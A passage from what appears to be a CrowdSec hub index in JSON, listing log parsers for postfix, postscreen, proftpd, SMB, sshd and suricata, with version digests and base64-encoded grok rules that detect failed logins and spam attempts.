"IyBDb3B5cmlnaHQgKGMpIDIwMTQsIDIwMTUsIFJ1ZHkgR2V2YWVydAojIENvcHlyaWdodCAoYykgMjAyMCBDcm93ZHNlYwoKIyBQZXJtaXNzaW9uIGlzIGhlcmVieSBncmFudGVkLCBmcmVlIG9mIGNoYXJnZSwgdG8gYW55IHBlcnNvbiBvYnRhaW5pbmcKIyBhIGNvcHkgb2YgdGhpcyBzb2Z0d2FyZSBhbmQgYXNzb2NpYXRlZCBkb2N1bWVudGF0aW9uIGZpbGVzICh0aGUKIyAiU29mdHdhcmUiKSwgdG8gZGVhbCBpbiB0aGUgU29mdHdhcmUgd2l0aG91dCByZXN0cmljdGlvbiwgaW5jbHVkaW5nCiMgd2l0aG91dCBsaW1pdGF0aW9uIHRoZSByaWdodHMgdG8gdXNlLCBjb3B5LCBtb2RpZnksIG1lcmdlLCBwdWJsaXNoLAojIGRpc3RyaWJ1dGUsIHN1YmxpY2Vuc2UsIGFuZC9vciBzZWxsIGNvcGllcyBvZiB0aGUgU29mdHdhcmUsIGFuZCB0bwojIHBlcm1pdCBwZXJzb25zIHRvIHdob20gdGhlIFNvZnR3YXJlIGlzIGZ1cm5pc2hlZCB0byBkbyBzbywgc3ViamVjdCB0bwojIHRoZSBmb2xsb3dpbmcgY29uZGl0aW9uczoKCiMgVGhlIGFib3ZlIGNvcHlyaWdodCBub3RpY2UgYW5kIHRoaXMgcGVybWlzc2lvbiBub3RpY2Ugc2hhbGwgYmUKIyBpbmNsdWRlZCBpbiBhbGwgY29waWVzIG9yIHN1YnN0YW50aWFsIHBvcnRpb25zIG9mIHRoZSBTb2Z0d2FyZS4KCiMgVEhFIFNPRlRXQVJFIElTIFBST1ZJREVEICJBUyBJUyIsIFdJVEhPVVQgV0FSUkFOVFkgT0YgQU5ZIEtJTkQsCiMgRVhQUkVTUyBPUiBJTVBMSUVELCBJTkNMVURJTkcgQlVUIE5PVCBMSU1JVEVEIFRPIFRIRSBXQVJSQU5USUVTIE9GCiMgTUVSQ0hBTlRBQklMSVRZLCBGSVRORVNTIEZPUiBBIFBBUlRJQ1VMQVIgUFVSUE9TRSBBTkQKIyBOT05JTkZSSU5HRU1FTlQuIElOIE5PIEVWRU5UIFNIQUxMIFRIRSBBVVRIT1JTIE9SIENPUFlSSUdIVCBIT0xERVJTIEJFCiMgTElBQkxFIEZPUiBBTlkgQ0xBSU0sIERBTUFHRVMgT1IgT1RIRVIgTElBQklMSVRZLCBXSEVUSEVSIElOIEFOIEFDVElPTgojIE9GIENPTlRSQUNULCBUT1JUIE9SIE9USEVSV0lTRSwgQVJJU0lORyBGUk9NLCBPVVQgT0YgT1IgSU4gQ09OTkVDVElPTgojIFdJVEggVEhFIFNPRlRXQVJFIE9SIFRIRSBVU0UgT1IgT1RIRVIgREVBTElOR1MgSU4gVEhFIFNPRlRXQVJFLgoKIyBTb21lIG9mIHRoZSBncm9rcyB1c2VkIGhlcmUgYXJlIGZyb20gaHR0cHM6Ly9naXRodWIuY29tL3JnZXZhZXJ0L2dyb2stcGF0dGVybnMvYmxvYi9tYXN0ZXIvZ3Jvay5kL3Bvc3RmaXhfcGF0dGVybnMKb25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSBpbiBbJ3Bvc3RmaXgvc210cGQnLCdwb3N0Zml4L3NtdHBzL3NtdHBkJywncG9zdGZpeC9zdWJtaXNzaW9uL3NtdHBkJywgJ3Bvc3RmaXgvc210cHMtaGFwcm94eS9zbXRwZCcsICdwb3N0Zml4L3N1Ym1pc3Npb24taGFwcm94eS9zbXRwZCddIgpuYW1lOiBjcm93ZHNlY3VyaXR5L3Bvc3RmaXgtbG9ncwpwYXR0ZXJuX3N5bnRheDoKICBQT1NURklYX0hPU1ROQU1FOiAnKCV7SE9TVE5BTUV9fHVua25vd24pJwogIFBPU1RGSVhfQ09NTUFORDogJyhBVVRIfFNUQVJUVExTfENPTk5FQ1R8RUhMT3xIRUxPfFJDUFQpJwogIFBPU1RGSVhfQUNUSU9OOiAnZGlzY2FyZHxkdW5ub3xmaWx0ZXJ8aG9sZHxpZ25vcmV8aW5mb3xwcmVwZW5kfHJlZGlyZWN0fHJlcGxhY2V8cmVqZWN0fHdhcm4nCiAgUkVMQVk6ICcoPzole0hPU1ROQU1FOnJlbW90ZV9ob3N0fSg/OlxbJXtJUDpyZW1vdGVfYWRkcn1cXSg/OjpbMC05XSsoLlswLTldKyk/KT8pPyknCmRlc2NyaXB0aW9uOiAiUGFyc2UgcG9zdGZpeCBsb2dzIgpub2RlczoKICAtIGdyb2s6CiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHBhdHRlcm46ICdsb3N0IGNvbm5lY3Rpb24gYWZ0ZXIgJXtEQVRBOnNtdHBfcmVzcG9uc2V9IGZyb20gJXtSRUxBWX0nCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZV9lbmgKICAgICAgICAgIHZhbHVlOiBzcGFtLWF0dGVtcHQKICAtIGdyb2s6CiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHBhdHRlcm46ICd3YXJuaW5nOiAle1BPU1RGSVhfSE9TVE5BTUU6cmVtb3RlX2hvc3R9XFsle0lQOnJlbW90ZV9hZGRyfVxdOiBTQVNMICgoP2kpTE9HSU58UExBSU58KD86Q1JBTXxESUdFU1QpLU1ENSkgYXV0aGVudGljYXRpb24gZmFpbGVkOiV7R1JFRURZREFUQTptZXNzYWdlX2ZhaWx1cmV9JwogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGVfZW5oCiAgICAgICAgICB2YWx1ZTogc3BhbS1hdHRlbXB0CiAgLSBncm9rOgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBwYXR0ZXJuOiAnTk9RVUVVRTogJXtQT1NURklYX0FDVElPTjphY3Rpb259OiAle0RBVEE6Y29tbWFuZH0gZnJvbSAle1JFTEFZfTogJXtHUkVFRFlEQVRBOnJlYXNvbn0nCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBhY3Rpb24KICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLmFjdGlvbiIgICAgICAgIApzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBwb3N0Zml4CiAgICAtIG1ldGE6IHNvdXJjZV9pcAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5yZW1vdGVfYWRkciIKICAgIC0gbWV0YTogc291cmNlX2hvc3RuYW1lCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlbW90ZV9ob3N0IgogICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICB2YWx1ZTogcG9zdGZpeAoK", "description": "Parse postfix logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/postscreen-logs": { "path": "parsers/s01-parse/crowdsecurity/postscreen-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "5ee035d47824573e19f9a1d378d8882cf3efa72f6443e2243f915d6b38b4b957", "deprecated": false }, "0.2": { "digest": "4a738f39e310daafeabf599f9bdbee013178aae5a1ca9da4f4985ae1626a0e21", "deprecated": false } }, "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSBpbiBbJ3Bvc3RmaXgvcG9zdHNjcmVlbicsICdoYXByb3h5L3Bvc3RzY3JlZW4nXSIKbmFtZTogY3Jvd2RzZWN1cml0eS9wb3N0c2NyZWVuLWxvZ3MKcGF0dGVybl9zeW50YXg6CiAgUE9TVFNDUkVFTl9QUkVHUkVFVDogJ1BSRUdSRUVUJwogIFBPU1RTQ1JFRU5fUFJFR1JFRVRfVElNRV9BVFRFTVBUOiAnXGQrLlxkKycKZGVzY3JpcHRpb246ICJQYXJzZSBwb3N0c2NyZWVuIGxvZ3MiCm5vZGVzOgogIC0gZ3JvazoKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgcGF0dGVybjogJyV7UE9TVFNDUkVFTl9QUkVHUkVFVDpwcmVncmVldH0gJXtJTlQ6Y291bnR9IGFmdGVyICV7UE9TVFNDUkVFTl9QUkVHUkVFVF9USU1FX0FUVEVNUFQ6dGltZV9hdHRlbXB0fSBmcm9tIFxbJXtJUDpyZW1vdGVfYWRkcn1cXTole0lOVDpwb3J0fTogJXtHUkVFRFlEQVRBOm1lc3NhZ2VfYXR0ZW1wdH0nCnN0YXRpY3M6CiAgICAtIG1ldGE6IHNlcnZpY2UKICAgICAgdmFsdWU6IHBvc3RzY3JlZW4KICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlbW90ZV9hZGRyIgogICAgLSBtZXRhOiBwcmVncmVldAogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5wcmVncmVldCIKCgo=", "description": "Parse postscreen logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/proftpd-logs": { "path": "parsers/s01-parse/crowdsecurity/proftpd-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "f00e26a5fd74f57bab31f930d23cca9c2ede7cc480cb34c7a6aef5a87baf0ca0", "deprecated": false }, "0.2": { "digest": "9921d4752e7337533472031d1495f9c4e4f870a558ea48f303e95e96a31f7f13", "deprecated": false } }, "long_description": "RlRQIChbUHJvRlRQRF0oaHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvUHJvRlRQRCkpIHdpbGwgbW9zdGx5IHBhcnNlIGF1dGhlbnRpY2F0aW9uIGZhaWwu", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IHByb2Z0cGQtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIHByb2Z0cGQgbG9ncyIKZmlsdGVyOiAiZXZ0LlBhcnNlZC5wcm9ncmFtID09ICdwcm9mdHBkJyIKI3dlIHNob3VsZCB1c2UgdGhlIHNhbWUgcGF0dGVybiBmb3IgIm5vcm1hbCIgYW5kIHBsZXNrIGxvZ3MsIGJ1dCBkdWUgdG8gYW4gaXNzdWUgaW4gZ3Jva2t5IGhhbmRsaW5nICgpLCB3ZSBjYW5ub3QgOigKcGF0dGVybl9zeW50YXg6CiAgUFJPRlRQRF9BVVRIX0ZBSUw6ICcle1RJTUVTVEFNUF9JU084NjAxOnRpbWVzdGFtcH0gJXtJUE9SSE9TVDpob3N0bmFtZX0gcHJvZnRwZFxbJXtEQVRBfVxdICV7SVBPUkhPU1Q6aG9zdG5hbWV9IFwoJXtJUE9SSE9TVH1cWyV7SVA6c291cmNlX2lwfVxdXCk6IFVTRVIgJXtVU0VSTkFNRTp1c2VybmFtZX0gXChMb2dpbiBmYWlsZWRcKTogSW5jb3JyZWN0IHBhc3N3b3JkJwogIFBST0ZUUERfQkFEX1VTRVI6ICcle1RJTUVTVEFNUF9JU084NjAxOnRpbWVzdGFtcH0gJXtJUE9SSE9TVDpob3N0bmFtZX0gcHJvZnRwZFxbJXtEQVRBfVxdICV7SVBPUkhPU1Q6aG9zdG5hbWV9IFwoJXtJUE9SSE9TVH1cWyV7SVA6c291cmNlX2lwfVxdXCk6IFVTRVIgJXtVU0VSTkFNRTp1c2VybmFtZX06IG5vIHN1Y2ggdXNlciBmb3VuZCBmcm9tICV7SVBPUkhPU1R9IFxbJXtJUE9SSE9TVH1cXSB0byAle0lQT1JIT1NUfTole0RBVEE6cG9ydH0nCiAgUFJPRlRQRF9BVVRIX0ZBSUxfUExFU0s6ICcle1NZU0xPR1RJTUVTVEFNUDp0aW1lc3RhbXB9ICV7SVBPUkhPU1Q6aG9zdG5hbWV9IHByb2Z0cGRcWyV7REFUQX1cXTogJXtJUE9SSE9TVDpob3N0bmFtZX0gXCgle0lQT1JIT1NUfVxbJXtJUDpzb3VyY2VfaXB9XF1cKSAtIFVTRVIgJXtVU0VSTkFNRTp1c2VybmFtZX0gXChMb2dpbiBmYWlsZWRcKTogSW5jb3JyZWN0IHBhc3N3b3JkJwogIFBST0ZUUERfQkFEX1VTRVJfUExFU0s6ICcle1NZU0xPR1RJTUVTVEFNUDp0aW1lc3RhbXB9ICV7SVBPUkhPU1Q6aG9zdG5hbWV9IHByb2Z0cGRcWyV7REFUQX1cXTogJXtJUE9SSE9TVDpob3N0bmFtZX0gXCgle0lQT1JIT1NUfVxbJXtJUDpzb3VyY2VfaXB9XF1cKSAtIFVTRVIgJXtVU0VSTkFNRTp1c2VybmFtZX06IG5vIHN1Y2ggdXNlciBmb3VuZCBmcm9tICV7SVBPUkhPU1R9IFxbJXtJUE9SSE9TVH1cXSB0byAle0lQT1JIT1NUfTole0RBVEE6cG9ydH0nCm5vZGVzOgogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIiV7UFJPRlRQRF9BVVRIX0ZBSUx9IgogICAgICBhcHBseV9vbjogbWVzc2FnZQogIC0gZ3JvazoKICAgICAgcGF0dGVybjogIiV7UFJPRlRQRF9CQURfVVNFUn0iCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtQUk9GVFBEX0FVVEhfRkFJTF9QTEVTS30iCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAiJXtQUk9GVFBEX0JBRF9VU0VSX1BMRVNLfSIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgdmFsdWU6IGZ0cF9mYWlsZWRfYXV0aAogICAgLSBtZXRhOiBzb3VyY2VfaXAKICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogICAgLSBtZXRhOiB0YXJnZXRfdXNlcgogICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VybmFtZSIKICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVzdGFtcCA=", "description": "Parse proftpd logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/smb-logs": { "path": "parsers/s01-parse/crowdsecurity/smb-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "a68bdf79455bda0a84ffaa109752b682266ea0e050d04c260a965a0dbac0fb27", "deprecated": false }, "0.2": { "digest": "d2b661f9ef78d245d6fb08ad02689b244ffa2edf9d89c7f4b9bfddc9a04d0a7b", "deprecated": false } }, "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvc21iLWxvZ3MKZmlsdGVyOiBldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3NtYicKZGVzY3JpcHRpb246ICJQYXJzZSBTTUIgbG9ncyIKcGF0dGVybl9zeW50YXg6CiAgU01CX0JBRF9QQVNTV09SRDogIkF1dGg6JXtHUkVFRFlEQVRBfSB1c2VyIFxcWyV7REFUQTpzbWJfZG9tYWlufVxcXVxcXFxcXFsle0RBVEE6dXNlcn1cXF0le0dSRUVEWURBVEF9IHN0YXR1cyBcXFtOVF9TVEFUVVNfV1JPTkdfUEFTU1dPUkRcXF0le0dSRUVEWURBVEF9IHJlbW90ZSBob3N0IFxcW2lwdjQ6JXtJUDppcF9zb3VyY2V9Igpub2RlczoKIC0gZ3JvazoKICAgIG5hbWU6ICJTTUJfQVVUSF9GQUlMIgogICAgYXBwbHlfb246IG1lc3NhZ2UKICAgIHN0YXRpY3M6CiAgICAgIC0gbWV0YTogc3VidHlwZQogICAgICAgIHZhbHVlOiBzbWJfYmFkX3VzZXIKIC0gZ3JvazoKICAgIG5hbWU6ICJTTUJfQkFEX1BBU1NXT1JEIgogICAgYXBwbHlfb246IG1lc3NhZ2UKICAgIHN0YXRpY3M6CiAgICAgIC0gbWV0YTogc3VidHlwZQogICAgICAgIHZhbHVlOiBzbWJfYmFkX3Bhc3N3b3JkCnN0YXRpY3M6CiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IHNtYl9mYWlsZWRfYXV0aAogIC0gbWV0YTogc291cmNlX2lwCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5pcF9zb3VyY2UiCiAgLSBtZXRhOiB1c2VyCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VyIg==", "description": "Parse SMB logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/sshd-logs": { "path": "parsers/s01-parse/crowdsecurity/sshd-logs.yaml", "stage": "s01-parse", "version": "2.0", "versions": { "0.1": { "digest": "ecd40cb8cd95e2bad398824ab67b479362cdbf0e1598b8833e2f537ae3ce2f93", "deprecated": false }, "0.2": { "digest": "6251a150d0d0dfe5b3942fd700c4e7b631393a2a4f1d949137ddba0b75d2dc6d", "deprecated": false }, "0.3": { "digest": "b57b59915825de330b1c0ecf19961fbc033f7784e4670a09f739d84839e2bc81", "deprecated": false }, "0.4": { "digest": "a8a89934a9524f43b9b51d1e62fd67af1834f9c7dfa1c36bc2bfdf9158d5966e", "deprecated": false }, "0.5": { "digest": "18525728a1985eeac9107bc0fc2583622bf597dd256230689f3e788e992e0410", "deprecated": false }, "0.6": { "digest": "5294aa1660260d1bd11520e80dc6f578208679e36456c10f143b3eb28d209fd4", "deprecated": false }, "0.7": { "digest": "ad96d89f89e69fe3b9a0c70b7d643d4965cb893f719722d09957c38e89c31a8d", "deprecated": false }, "0.8": { "digest": "de14c443378bf69c5c44533bb5d19f32c8b099c7365ac35c35f4c873c22103a3", "deprecated": false }, "0.9": { "digest": "b728744d1244fe26d5445ea1e0460014538ea1cba0c8bd6b6ebcaf46d3b9b765", "deprecated": false }, "1.0": { "digest": "5603517aa38c9a1deacc993e34ab4adc4047133e51a804ba7cfa782bd973e821", "deprecated": false }, "1.1": { "digest": "bbf71af714985e63a01fa70b0d9485e74dfedf77100750523fabce59e8b6b5eb", "deprecated": false }, "1.2": { "digest": "63cca80e6f4a02bde8ecb2877c3361c78410643dd66e1059e4ddf7f400fdf916", "deprecated": false }, "1.3": { "digest": "36fa6247f3739ed4127e4fdae8a60c314e892a5106cb1b37181ad4fc1e054751", "deprecated": false }, "1.4": { "digest": "2bed97f303d5df2bf1852864d5265281cd1d73db39a2679b9e94bb6e5542e348", "deprecated": false }, "1.5": { "digest": "dd39640ed9ac34409d45261d343c88adbd5a4ee3c8f81c1a7dac77a23539e41e", "deprecated": false }, "1.6": { "digest": "31dadf77665bee1d89ea9d407bd58ad6911753c8a642794277cffd6adf46bbf7", "deprecated": false }, "1.7": { "digest": "162dd1da5beb8e52d093dc6b3a417ac2c80004b5b4576bbed9b590896fca3f15", "deprecated": false }, "1.8": { "digest": "95d30ef78866c26d2c6235fcd302eb50a67a84fcea031742aed4a5afd4d2b942", "deprecated": false }, "1.9": { "digest": "251f05b5398ce5958e6686c392804112b90ffb2b9d5f717052639471983e20d3", "deprecated": false }, "2.0": { "digest": "85cc308adad1051bca9575f4adbda27a0f176bf3d3ffc8893e3657ad2a38bfd2", "deprecated": false } }, "long_description": "WW91ciBvbmUgZml0cy1hbGwgc3NoIHBhcnNlciB3aXRoIHN1cHBvcnQgZm9yIHRoZSBtb3N0IGNvbW1vbiBraW5kIG9mIGZhaWxlZCBhdXRoZW50aWNhdGlvbnMgYW5kIGVycm9ycy4KCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3NzaGQnIgpuYW1lOiBjcm93ZHNlY3VyaXR5L3NzaGQtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIG9wZW5TU0ggbG9ncyIKcGF0dGVybl9zeW50YXg6CiMgVGhlIElQIGdyb2sgcGF0dGVybiB0aGF0IHNoaXBzIHdpdGggY3Jvd2RzZWMgaXMgYnVnZ3kgYW5kIGRvZXMgbm90IGNhcHR1cmUgdGhlIGxhc3QgZGlnaXQgb2YgYW4gSVAgaWYgaXQgaXMgdGhlIGxhc3QgdGhpbmcgaXQgbWF0Y2hlcywgYW5kIHRoZSBsYXN0IG9jdGV0IHN0YXJ0cyB3aXRoIGEgMgojIGh0dHBzOi8vZ2l0aHViLmNvbS9jcm93ZHNlY3VyaXR5L2Nyb3dkc2VjL2lzc3Vlcy85MzgKICBJUHY0X1dPUktBUk9VTkQ6ICg/Oig/OjI1WzAtNV18MlswLTRdWzAtOV18WzAxXT9bMC05XVswLTldPylcLil7M30oPzoyNVswLTVdfDJbMC00XVswLTldfFswMV0/WzAtOV1bMC05XT8pCiAgSVBfV09SS0FST1VORDogKD86JXtJUFY2fXwle0lQdjRfV09SS0FST1VORH0pCiAgU1NIRF9BVVRIX0ZBSUw6ICdwYW1fJXtEQVRBOnBhbV90eXBlfVwoc3NoZDphdXRoXCk6IGF1dGhlbnRpY2F0aW9uIGZhaWx1cmU7IGxvZ25hbWU9IHVpZD0le05VTUJFUjp1aWR9PyBldWlkPSV7TlVNQkVSOmV1aWR9PyB0dHk9c3NoIHJ1c2VyPSByaG9zdD0le0lQX1dPUktBUk9VTkQ6c3NoZF9jbGllbnRfaXB9KCAle1NQQUNFfXVzZXI9JXtVU0VSTkFNRTpzc2hkX2ludmFsaWRfdXNlcn0pPycKICBTU0hEX01BR0lDX1ZBTFVFX0ZBSUxFRDogJ01hZ2ljIHZhbHVlIGNoZWNrIGZhaWxlZCBcKFxkK1wpIG9uIG9iZnVzY2F0ZWQgaGFuZHNoYWtlIGZyb20gJXtJUF9XT1JLQVJPVU5EOnNzaGRfY2xpZW50X2lwfSBwb3J0IFxkKycKICBTU0hEX0lOVkFMSURfVVNFUjogJ0ludmFsaWQgdXNlclxzKiV7VVNFUk5BTUU6c3NoZF9pbnZhbGlkX3VzZXJ9PyBmcm9tICV7SVBfV09SS0FST1VORDpzc2hkX2NsaWVudF9pcH0oIHBvcnQgXGQrKT8nCiAgU1NIRF9JTlZBTElEX0JBTk5FUjogJ2Jhbm5lciBleGNoYW5nZTogQ29ubmVjdGlvbiBmcm9tICV7SVBfV09SS0FST1VORDpzc2hkX2NsaWVudF9pcH0gcG9ydCBcZCs6IGludmFsaWQgZm9ybWF0JwogIFNTSERfUFJFQVVUSF9BVVRIRU5USUNBVElOR19VU0VSOiAnQ29ubmVjdGlvbiBjbG9zZWQgYnkgKGF1dGhlbnRpY2F0aW5nfGludmFsaWQpIHVzZXIgJXtVU0VSTkFNRTpzc2hkX2ludmFsaWRfdXNlcn0gJXtJUF9XT1JLQVJPVU5EOnNzaGRfY2xpZW50X2lwfSBwb3J0IFxkKyBcW3ByZWF1dGhcXScKICAjZm9sbG93aW5nOiBodHRwczovL2dpdGh1Yi5jb20vY3Jvd2RzZWN1cml0eS9jcm93ZHNlYy9pc3N1ZXMvMTIwMSAtIHNvbWUgc2Nhbm5lcnMgYmVoYXZlIGRpZmZlcmVudGx5IGFuZCB0cmlnZ2VyIHRoaXMgb25lCiAgU1NIRF9QUkVBVVRIX0FVVEhFTlRJQ0FUSU5HX1VTRVJfQUxUOiAnRGlzY29ubmVjdGVkIGZyb20gKGF1dGhlbnRpY2F0aW5nfGludmFsaWQpIHVzZXIgJXtVU0VSTkFNRTpzc2hkX2ludmFsaWRfdXNlcn0gJXtJUF9XT1JLQVJPVU5EOnNzaGRfY2xpZW50X2lwfSBwb3J0IFxkKyBcW3ByZWF1dGhcXScKbm9kZXM6CiAgLSBncm9rOgogICAgICBuYW1lOiAiU1NIRF9GQUlMIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hfZmFpbGVkLWF1dGgKICAgICAgICAtIG1ldGE6IHRhcmdldF91c2VyCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zc2hkX2ludmFsaWRfdXNlciIKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJTU0hEX1BSRUFVVEhfQVVUSEVOVElDQVRJTkdfVVNFUl9BTFQiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHNzaF9mYWlsZWQtYXV0aAogICAgICAgIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNzaGRfaW52YWxpZF91c2VyIgogIC0gZ3JvazoKICAgICAgbmFtZTogIlNTSERfUFJFQVVUSF9BVVRIRU5USUNBVElOR19VU0VSIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hfZmFpbGVkLWF1dGgKICAgICAgICAtIG1ldGE6IHRhcmdldF91c2VyCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zc2hkX2ludmFsaWRfdXNlciIKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJTU0hEX0RJU0NfUFJFQVVUSCIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJTU0hEX0JBRF9WRVJTSU9OIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogIC0gZ3JvazoKICAgICAgbmFtZTogIlNTSERfSU5WQUxJRF9VU0VSIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hfZmFpbGVkLWF1dGgKICAgICAgICAtIG1ldGE6IHRhcmdldF91c2VyCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zc2hkX2ludmFsaWRfdXNlciIKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJTU0hEX0lOVkFMSURfQkFOTkVSIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hfZmFpbGVkLWF1dGgKICAgICAgICAtIG1ldGE6IGV4dHJhX2xvZ190eXBlCiAgICAgICAgICB2YWx1ZTogc3NoX2JhZF9iYW5uZXIKICAtIGdyb2s6CiAgICAgIG5hbWU6ICJTU0hEX1VTRVJfRkFJTCIKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogc3NoX2ZhaWxlZC1hdXRoCiAgICAgICAgLSBtZXRhOiB0YXJnZXRfdXNlcgogICAgICAgICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc3NoZF9pbnZhbGlkX3VzZXIiCiAgLSBncm9rOiAKICAgICAgbmFtZTogIlNTSERfQVVUSF9GQUlMIgogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBzc2hfZmFpbGVkLWF1dGgKICAgICAgICAtIG1ldGE6IHRhcmdldF91c2VyCiAgICAgICAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5zc2hkX2ludmFsaWRfdXNlciIKICAtIGdyb2s6IAogICAgICBuYW1lOiAiU1NIRF9NQUdJQ19WQUxVRV9GQUlMRUQiCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHNzaF9mYWlsZWQtYXV0aAogICAgICAgIC0gbWV0YTogdGFyZ2V0X3VzZXIKICAgICAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNzaGRfaW52YWxpZF91c2VyIgpzdGF0aWNzOgogICAgLSBtZXRhOiBzZXJ2aWNlCiAgICAgIHZhbHVlOiBzc2gKICAgIC0gbWV0YTogc291cmNlX2lwCiAgICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNzaGRfY2xpZW50X2lwIgo=", "description": "Parse openSSH logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/suricata-logs": { "path": "parsers/s01-parse/crowdsecurity/suricata-logs.yaml", "stage": "s01-parse", "version": "0.6", "versions": { "0.1": { "digest": "8d2c360a278360d24fd5882646c89cea866ba21db80f1b02732b53f57469ee73", "deprecated": false }, "0.2": { "digest": "6b768c66d6d2fb86d7707bac122e819300fbf8a635f466af8f9eda373741b38d", "deprecated": false }, "0.3": { "digest": "8ef8604a888c2242252759267ea353f3b0f00a5bf927ad0d740a177fd6e3b4ce", "deprecated": false }, "0.4": { "digest": "245dc731e0b563f998c2b5815a70330a3648158c0dfd8f2de26d945518cfee44", "deprecated": false }, "0.5": { "digest": "c52782b7b3b37eec48359f37420555be73334dc5fc535cbf55b96e8a7d175506", "deprecated": false }, "0.6": { "digest": "b3a55203e30b26f2cc1765278545389d79551838bc28643cf21a3150fc2efed6", "deprecated": false } }, "long_description": 